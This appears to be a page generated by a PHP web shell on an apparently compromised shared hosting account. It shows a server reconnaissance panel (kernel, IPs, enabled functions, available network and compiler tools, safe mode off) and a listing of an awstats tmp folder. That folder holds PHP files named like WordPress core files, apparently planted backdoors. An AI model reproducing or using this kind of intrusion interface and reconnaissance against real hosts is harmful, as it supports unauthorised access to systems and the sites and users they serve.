| Linux server320.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 |
| LiteSpeed |
| 198.54.121.225 | Your IP: 216.73.217.80 |
| Cant read [ /etc/named.conf ] |
| [ drwx------ ] |
| / home / taskqalp / tmp / awstats / |
| Operating System | : | Linux server320.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 |
| User / Group | : | 3475[taskqalp] / 3378[taskqalp] |
| PHP Version | : | 8.1.34 |
| IP Server | : | 198.54.121.225 |
| Your IP | : | 216.73.217.80 |
| Storage | : | Total = 6.2 TB, Free = 2.15 TB [34%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | taskqalp/taskqalp | drwx------ | 2026-06-09 12:32:20 | |
| .. | dir | - | taskqalp/taskqalp | drwxr-xr-x | 2026-05-25 08:04:36 | |
| ssl | dir | - | taskqalp/taskqalp | drwxr-xr-x | 2026-06-09 12:32:21 | |
| .htaccess | text/plain | 197 B | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-25 08:04:36 | |
| awstats.marisfieldenergies.com.taskkeycleaners.com.conf | text/plain | 23.51 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-06-09 12:32:19 | |
| awstats.sheelitezm.com.taskkeycleaners.com.conf | text/plain | 23.49 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-06-09 12:32:20 | |
| awstats.taskkeycleaners.com.conf | text/plain | 23.46 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-06-09 12:32:16 | |
| awstats012026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.16 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-02-01 12:29:32 | |
| awstats012026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.27 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-02-01 12:29:33 | |
| awstats012026.taskkeycleaners.com.txt | text/plain | 27.74 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-02-01 12:29:31 | |
| awstats022026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.16 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-03-01 12:34:41 | |
| awstats022026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.28 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-03-01 12:34:42 | |
| awstats022026.taskkeycleaners.com.txt | text/plain | 62.42 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-03-01 12:34:40 | |
| awstats032026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.53 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-04-01 12:35:04 | |
| awstats032026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.67 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-04-01 12:35:07 | |
| awstats032026.taskkeycleaners.com.txt | text/plain | 36.25 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-04-01 12:35:03 | |
| awstats042026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.55 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-01 12:42:29 | |
| awstats042026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.35 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-01 12:42:30 | |
| awstats042026.taskkeycleaners.com.txt | text/plain | 42.14 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-01 12:42:28 | |
| awstats052026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.31 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-01 12:41:23 | |
| awstats052026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.21 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-01 12:41:26 | |
| awstats052026.taskkeycleaners.com.txt | text/plain | 103.5 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-01 12:41:22 | |
| awstats062026.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.11 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-09 12:32:19 | |
| awstats062026.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.17 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-09 12:32:20 | |
| awstats062026.taskkeycleaners.com.txt | text/plain | 81.5 KB | taskqalp/taskqalp | -rw-r--r-- | 2026-06-09 12:32:17 | |
| awstats072025.taskkeycleaners.com.txt | text/plain | 11.47 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-08-01 01:13:08 | |
| awstats082025.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 7.28 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-09-01 01:20:09 | |
| awstats082025.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 7.44 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-09-01 01:20:10 | |
| awstats082025.taskkeycleaners.com.txt | text/plain | 10.77 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-09-01 01:20:08 | |
| awstats092025.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.16 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-10-01 12:37:11 | |
| awstats092025.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.14 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-10-01 12:37:12 | |
| awstats092025.taskkeycleaners.com.txt | text/plain | 19.41 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-10-01 12:37:10 | |
| awstats102025.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.37 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-11-01 12:45:43 | |
| awstats102025.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.35 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-11-01 12:45:44 | |
| awstats102025.taskkeycleaners.com.txt | text/plain | 26.66 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-11-01 12:45:42 | |
| awstats112025.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.3 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-12-01 12:38:33 | |
| awstats112025.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.32 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-12-01 12:38:34 | |
| awstats112025.taskkeycleaners.com.txt | text/plain | 37.39 KB | taskqalp/taskqalp | -rwxr-xr-x | 2025-12-01 12:38:32 | |
| awstats122025.marisfieldenergies.com.taskkeycleaners.com.txt | text/plain | 6.29 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-01-01 12:29:22 | |
| awstats122025.sheelitezm.com.taskkeycleaners.com.txt | text/plain | 6.28 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-01-01 12:29:23 | |
| awstats122025.taskkeycleaners.com.txt | text/plain | 24.37 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-01-01 12:29:22 | |
| wp-blog-header.php | text/x-php | 2.74 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-25 08:04:36 | |
| wp-cron.php | text/x-php | 2.74 KB | taskqalp/taskqalp | -rwxr-xr-x | 2026-05-25 08:04:36 |
© SEC